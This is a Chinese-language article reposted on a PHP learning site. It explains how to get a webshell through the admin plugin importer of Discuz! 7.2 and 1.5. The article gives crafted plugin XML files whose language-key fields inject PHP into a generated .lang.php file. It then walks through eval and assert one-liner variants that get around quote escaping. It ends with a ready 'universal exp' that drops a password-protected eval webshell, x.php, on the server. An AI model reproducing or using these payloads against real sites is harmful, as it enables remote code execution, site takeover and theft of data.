网站地图    收藏   

主页 > 后端 > 网站安全 >

dz7.2&1.5后台拿shell[无ucenter非创始人] - 网站安

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 这是在没有ucenter和manyou插件漏洞并且不是创始人的情况下的.6.0和7.0就不说了. 直接开始吧,先说7.2.在那篇文章最后说#39;如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webs...

这是在没有ucenter和manyou插件漏洞并且不是创始人的情况下的.
6.0和7.0就不说了. 直接开始吧,
先说7.2.
在那篇文章最后说'如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.'
我尝试了很久都无效, 就找了个7.2的后台试验了一下.
方法是插件处添加xml文件.
这段代码是7.2和1.5通用的.

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[shell]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <item id="a"><![CDATA[b]]></item>
                                <item id=");phpinfo();?>"><![CDATA[x]]></item>
                        </item>
                </item>
        </item>
</root>
上传后在forumdataplugins文件夹下生成shell.lang.php文件.
内容如下:
 
<?php
$scriptlang['shell'] = array(
        'a' => 'b',
        ');phpinfo();?>' => 'x',
);
 
?>
看到了, ;phpinfo();?> 写出来了, 配上头文件就语句正常.
访问shell.lang.php正常显示phpinfo, 既然能写出来,就说明肯定能获得shell的.
那尝试直接写入一句话.
直接把;phpinfo();?>替换为 ;@eval($_POST['adm1n']);?>试试.
上传后结果如下:
 

 
看到'', 明白肯定是被替换添加了. 打开源文件看:
 
<?php
$scriptlang['shell'] = array(
    'a' => '=>1);@eval($_POST['admin163']);?>")?>',
);
 
?>
单引号前被添加了, 就无效了. 那就换个无单引号的试试.
用这条
 
< ?php ($_=@$_GET[admin163]).@$_($_POST[org])?>
直接打开文件shell.lang.php, 显示空白. 应该是成功了.
可按照一句话格式输入地址?adm1n=assert显示
")?>', ); ?>
就是说明闭合生效, 完美运行.
文件源码如下:

<?php
$scriptlang['shell'] = array(
        'a' => '=>1);($_=@$_GET[admin163]).@$_($_POST[org])?>")?>',
);
 
?>完美拼凑一个一句话:
<?php ($_=@$_GET[adm1n]).@$_($_POST[org])?>
成功连接一句话...
-------
这里说一下.. 好意外.. 怎么变的这么简单了..
当时我拿的那个站, 这样也不行, 当时还没用其他的dz7.2的站试验, 也没法看源码.. 而且php还是无报错回显的, 完全不知道怎么回事, 更不知道是单引号的问题, 因为我尝试了各种单引号双引号无引号..都不可以.. 尝试创建文件写入一句话也失败. admin163.net微论坛
免杀问题也考虑过, base64_encode(serialize($a))这个更是各种尝试.. 而本目录既然能生成shell.lang.php文件就说明是可写的, 也不存在不可写问题.. 当时真是想破了脑袋.. 最后是用
 
<php fputs(fopen("x.php","a"),"a")?>

这样一个字符一个字符写进去的... 可现在..
这文章都写了这么多了.. 重写麻烦.. 还是发了吧..
------
另外1.5同上..
在来个通用的exp吧..
 
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http:// www.2cto.com /Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[adm1n]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <itemid="a"><![CDATA[=>1);fputs(fopen("x.php","w"),"<?eval($_POST[f4ck]);?>]]></item>
                        </item>
                </item>
        </item>
</root>
直接传这个插件里, 然后直接打开
forumdata/plugins/adm1n.lang.php
文件就会在本目录下生成一个密码为f4ck的一句话木马x.php
就这样吧.. 尴尬.. 等在想想题材吧..

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论